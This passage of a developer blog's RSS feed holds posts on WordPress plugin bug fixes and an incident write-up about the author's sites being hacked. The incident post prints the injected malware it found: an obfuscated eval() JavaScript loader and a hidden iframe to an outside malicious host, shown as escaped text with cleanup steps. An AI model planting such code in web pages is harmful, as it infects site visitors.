<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=N24QoLuM6sM:k1FyBRO3Zr4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=N24QoLuM6sM:k1FyBRO3Zr4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=N24QoLuM6sM:k1FyBRO3Zr4:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=N24QoLuM6sM:k1FyBRO3Zr4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/N24QoLuM6sM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/dynode-batch-get-item/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/dynode-batch-get-item/</feedburner:origLink></item>
		<item>
		<title>WP phpBB Bridge: Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/nUTm3gM0X4w/</link>
		<comments>http://blog.chomperstomp.com/wp-phpbb-bridge-warning-mysql_set_charset-expects-parameter-2-to-be-resource-boolean-given/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 04:36:47 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[plugin]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[bugfix]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[phpbb]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>
		<category><![CDATA[wp phpbb bridge]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=983</guid>
		<description><![CDATA[Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given in wp-content/plugins/wp-phpbb-bridge/inc/widgets/wpbb_topics_widget.php on line 149 This is an error caused by the fact that the WP phpBB Bridge plugin is naively written in places. For instance, in this case the plugin authors don't expect you to be using a socket instead of a port. Looking [...]]]></description>
				<content:encoded><![CDATA[<div class="page-restrict-output"><p>Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given in wp-content/plugins/wp-phpbb-bridge/inc/widgets/wpbb_topics_widget.php on line 149</p>
<p>This is an error caused by the fact that the WP phpBB Bridge plugin is naively written in places.</p>
<p>For instance, in this case the plugin authors don't expect you to be using a socket instead of a port. Looking at the documentation for <a href="http://php.net/manual/en/function.mysql-pconnect.php">mysql-pconnect</a> you see that you can either use combination of hostname:port or hostname:socket. Since they are pulling the setup info straight from the phpBB config file, you have little to no control over the values there (especially if already configured).</p>
<p>What they ought to do is check to see if $port isset() &#038;& !empt() and only then append the ":" . $port. But instead, they tag on ":" to your db host EVERY TIME. This breaks your setup if you host is defined in phpBB with a socket. Most of what I just said sort of sounds like gibberish even to me, so, basically, if you are getting this error, the problem is actually line 147. Replace the current line 147 with this:</p>
<p><script src="https://gist.github.com/1537894.js?file=wpphpbbbridgefix"></script></p>
</div><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=nUTm3gM0X4w:z0Hc4cE0RIs:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=nUTm3gM0X4w:z0Hc4cE0RIs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=nUTm3gM0X4w:z0Hc4cE0RIs:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=nUTm3gM0X4w:z0Hc4cE0RIs:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/nUTm3gM0X4w" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/wp-phpbb-bridge-warning-mysql_set_charset-expects-parameter-2-to-be-resource-boolean-given/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/wp-phpbb-bridge-warning-mysql_set_charset-expects-parameter-2-to-be-resource-boolean-given/</feedburner:origLink></item>
		<item>
		<title>Events Calendar Pro Nav Formatting Messed up on Empty Calendar</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/0bPD62tM9DU/</link>
		<comments>http://blog.chomperstomp.com/events-calendar-pro-nav-formatting-messed-up-on-empty-calendar/#comments</comments>
		<pubDate>Thu, 15 Dec 2011 03:50:46 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[plugin]]></category>
		<category><![CDATA[programming concepts]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[web sites]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=971</guid>
		<description><![CDATA[The Events Calendar Pro (from http://tri.be/) has a few problems. If you are trying to figure out why a calendar with no events in that month has completely screwed up header navigation, just put this line of code inside of table.php in the top of the display_day function (put it directly before the for loop): [...]]]></description>
				<content:encoded><![CDATA[<div class="page-restrict-output"><p>The <a href="http://tri.be/wordpress-events-calendar-pro/">Events Calendar Pro (from http://tri.be/)</a> has a few problems.</p>
<p>If you are trying to figure out why a calendar with no events in that month has completely screwed up header navigation, just put this line of code inside of table.php in the top of the display_day function (put it directly before the for loop):</p>
<p><code>	$thisisherebecausethispluginSUCKSdontremoveit = has_excerpt() ? TribeEvents::truncate($post->post_excerpt) : TribeEvents::truncate(get_the_content(), 30);</code></p>
<p>This basically just runs some "truncate" function on the "TribeEvents" object. For some reason this truncate function magically fixes the header nav display issues.</p>
</div><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=0bPD62tM9DU:YVT94M435fQ:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=0bPD62tM9DU:YVT94M435fQ:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=0bPD62tM9DU:YVT94M435fQ:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=0bPD62tM9DU:YVT94M435fQ:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/0bPD62tM9DU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/events-calendar-pro-nav-formatting-messed-up-on-empty-calendar/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/events-calendar-pro-nav-formatting-messed-up-on-empty-calendar/</feedburner:origLink></item>
		<item>
		<title>OH SHNIKES, WE’VE BEEN HAXORED!!!</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/aFAqE-6T194/</link>
		<comments>http://blog.chomperstomp.com/oh-shnikes-weve-been-haxored/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 22:03:03 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[autobiographical]]></category>
		<category><![CDATA[web sites]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[Computer]]></category>
		<category><![CDATA[Computer Problems]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=964</guid>
		<description><![CDATA[Yes. It finally happened. After... 6 years? on the web I finally got hacked. Two domains affected: http://cmcculloh.com http://hallelujahbutton.com (this also of course affected all sub-domains of cmcculloh.com, such as blog.cmcculloh.com). This morning I went to my site and was told by Chrome that I wasn't allowed to go in because my site was going [...]]]></description>
				<content:encoded><![CDATA[<div class="page-restrict-output"><p>Yes. It finally happened. After... 6 years? on the web I finally got hacked.</p>
<p>Two domains affected:</p>
<p>http://cmcculloh.com</p>
<p>http://hallelujahbutton.com</p>
<p>(this also of course affected all sub-domains of cmcculloh.com, such as blog.cmcculloh.com).</p>
<p>This morning I went to my site and was told by Chrome that I wasn't allowed to go in because my site was going to infect my machine with H.I.V. (well, not really, but that's how it felt).</p>
<p>Here's the screen I saw:</p>
<p><img alt="" src="http://content.screencast.com/users/cmccullo/folders/Jing/media/a34b2563-185e-4080-ad21-35ed545ef73b/2011-11-29_1641.png" title="HAXORED!!!" class="alignnone" width="519" height="698" /></p>
<p>THE VERY FIRST THING I DID WAS WENT AND CHANGED ALL OF MY PASSWORDS. I even finally got around to creating multiple users and separating all domains/sub-domains into their own user accounts. This way if cmcculloh.com gets cracked again, blog.cmcculloh.com will have less chance of also being compromised. </p>
<p>It took me quite a while to figure out what the culprit was (and I'm still not 100% sure) but then I realized that hallelujahbutton.com is exactly 1 page long it was really easy to find a very likely suspect. This line of code:</p>
<pre>
&lt;script type="text/javascript"&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\x5C\x62'+e(c)+'\134\142','g'),k[c]);return p;}('\x56\40\71\75\x55\x20\x54\x28)\73\71\x2EY\50\x39\x2E\130\50)\53\62)\x3BW\50\123.\x4F&#038;\46\151\56u.N\x28\47M\x5C\x52\\c\x3D\47\51\x3D\75-\61\x29\173\x69\x2E\121\x28\'\\\120\134\x34\\\141\x5C\x318\\\x31\67\x5C\61\x36\x5C4\134\162\x5C\70\1341\x62\134\146\134\x62\'\x2B\x30.\x37(0.\x36\50)*\63\53\63\51\53\'\134\142\40h\\\61a\134\x31\x39\134\x31\65\\x\75\x5C\x22\x27\x2B0\x2E\67\x280\x2E\x36\x28\51\523+\x33\51+\47\x5C\42 \x5C\61\61\x5C\145\\10\\Z\134\x6A\\c\x5C\65\\j=\\\42\x5C\61\64\134\"\x5C\61\63\13412\x5C\x44\\\164\x5C5\134f\\\"B\\m\\4\\C\\\112\134n\134I\\o\134\x71\x5C\113\\F\\E\x5Cw\x5C8\x5C\x35\\\x79\\H\134a\x5C\70\x3A\\\x47\x27\530\x2E7\500.\x36\x28\x29*\x33\53\166)+\x27p\x5C\114\x5C\x79\x5C\x41\\\61\x63\134\x31\104\47\x2B\x30\x2E\x37(\x30\x2E6\x28)*\63\53v\x29+\47\\d\x5C\x67\x5C\x22\\1\x43\\\61\105\134f\\\61\x47\x5C\170\\\x38\134\144\72\1341\106\x5C\154\134g\x5C\x31\171\1341\x78\x5C1z\x5C1\102\x5C\61A\134\164.\\\x72\x5C\143\\\x31M\x5C\x6D\56\x31\x50\x5C\x6C\x5C\145\\\x6F\134\x34\134n\134\x31\117\134d\\\x31L\x5C\x31I\x5C\x7A\x5C\61\116\x5Ck\x5C\163\\\61\x4B\x5C\61\112\\\x31\x48\134\61j\\\61\x69\134\61\x6B\\1m\\q\1341l\1345\\1e\134\141\134s\\1\x64\134b\76\134\x31\x66\57\1341\150\134\141\\1\147\x5C\x31\164\x5C\61s\47);i.\165=\x27\x31\165\\\61\x77\x5Cw\\e\x5C\x31v\x5C\153\'+\x30.\67\50\x30.6\50)*\61o\51\53\x27\134\61\x6E\134\61\160\134\65\x5C\147\\\x7A\\\64\134\152\1341\162\134k\47+9.\61\x71\x28)\x7D',62,114,'\115\x61\x74h\174||10\x30\x7C\x78\x36\71|\61\64\65\x7C\x72and\157m|\x66\x6C\157or|\x78\674\174\145xp\x7C\61\64\66|4\x32|\x78\664\174\x316\60\x7C\1706\x44\174\x78\63\x44|1\x370\174\x7C\x64oc\165\x6De\x6Et\x7Cx\67\62\174\67\x35\x7C5\x37|\170\x37\x33\174x6\x45\x7C1\x34\x31\174\174\170\662\1741\644\1741\x343|\1706\103\174c\157\157\153ie|2\x30\60\174\61\x36\x35\x7C\616\64\174x\63\102\x7Cx\x370\x7C16\x34\x6F\160\174\x70\157\174\x787\64\x69\x7C\6171|1\x35\x34\174\x78\66\106|\655\x7C1\x354\145\x7Cx3A\x7C\615\67\x7C\x3163\174\x78\x378\x7C\x5F_u\174in\144\x65\x78\x4F\146\x7C\x63\157\157\153ieE\156a\142\x6Ce\x64|74\174w\162it\145\174\x78\66\104\x74|\x6E\x61vigat\157r|\104a\x74e\x7C\x6E\x65w\x7Cva\x72\174\x69\146\x7C\x67\x65\164\x44\141t\145|\x73\x65\x74D\141t\145\x7C\170\x362\x6F\174\170\x365\174\170\x36\x36\162\141\174\x31\x36\63\164\x7C\170\620\x7C\x360\174\6150\x7C40\167\x7Cx6D\145\1741\66\x32a\174\x786\x37\x7C1\645\x69|\x78\668\1747\x32|\x365\174x30|x\63\x43|\1707\x32a\x7C\61\x351|x\x33\657\x7C\170\633\x7C\1703\65\x7C\x78\63\x38\174\170\x337\174\x37\63\x7C\7199\719\x399|40\174to\x55\124C\x53t\x72\151ng\x7C\x31\64\65\163|\170\63E\174\x31\x35\x35e\x7C\137|x\674\144|\170\x35F|16\63\155\174x\x36\x31\174\6161\174x69\145|\170\66\64\163\174\x78\62\x30\163r\x7Cx\62D\x7C\x78\66\63|\x78\62F\1744\x32\150\x7Cx3\x31\174\x783\x46\174\x7834\x7C67\x7C\x78\x36\70\x70|1\x35\x36|\x786\x31g\x65\174\65\x36\174\165\x73'.split('|'),0,{}))&lt;/script&gt;
&lt;iframe src="http://xmtudaac.cz.cc/?go=1" width="1" height="1"&gt;&lt;/iframe&gt;
</pre>
<p>(I added a line break for legibility)</p>
<p>EEEEEWWWW!!!!!! I got pwned!!!</p>
<p>Not 100% sure if it is the iframe *and* the script, or just the iframe. </p>
<p>How did I fix it?</p>
<p>ssh'ed into the site and ran this command "grep -ir function\(p,a,c,k,e,d\) *". Found that it was in 46 files. Downloaded the entire site and then did a global find/replace in Sublime Text (Ctrl + Shift + h) on the entire script (that I pasted above) and replaced it with nothing. Then I did a follow up search on "function(p,a,c,k,e,d)" again to confirm it was cleaned. Then I deleted the contents of my site on the server and re-uploaded everything I wanted up there.</p>
<p>So, how did this happen? Who knows. I definitely <a href="http://www.google.com/safebrowsing/diagnostic?site=AS:26347&#038;hl=en">wasn't the only one</a>. I had, within the last week, used a Chrome App called ShiftEdit and given it my ftp credentials, so I initially thought it might have been them somehow. But then I realized that I share my server with at least 100 other sites. Chances are 99% of those people don't know anything about security, and a good 20 of them probably use "password1" as their password. If any of those people got hacked, it's just a small step once you're on the box to wrangle root access and run a shell script that eats HTML documents and poops them out with your script inside of them (no, I don't know how to do this, but I could most likely be doing it by the end of the week were I so nefariously inclined. It's not hard. USE A GOOD PASSWORD and DON'T REUSE IT ACROSS SITES).</p>
<p>So, anywho, I have cleaned my site and submitted my site to Google for verification so that we can get this error page back down. DON'T click the "proceed anyway" link. Because I'm just a guy and I could still be infected and not know it. Always just click the "go back" button. Once Google has OK'd it, the site will become available (as hallelujahbutton.com now has).</p>
<p>THANK YOU GOOGLE!!! YOU'RE AWESOME!!! Except that I *really* wish your error pages were more specific on EXACTLY what the problem was instead of making me hunt and hunt for it.</p>
<p>Also, I've deleted hallelujahbutton.com and set the domain name to expire. I completely forgot it existed and am too busy to want to deal with it anymore so, pruned!</p>
</div><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=aFAqE-6T194:DK2flHBK0Q8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=aFAqE-6T194:DK2flHBK0Q8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=aFAqE-6T194:DK2flHBK0Q8:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=aFAqE-6T194:DK2flHBK0Q8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=aFAqE-6T194:DK2flHBK0Q8:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/aFAqE-6T194" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/oh-shnikes-weve-been-haxored/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/oh-shnikes-weve-been-haxored/</feedburner:origLink></item>
	</channel>
</rss>
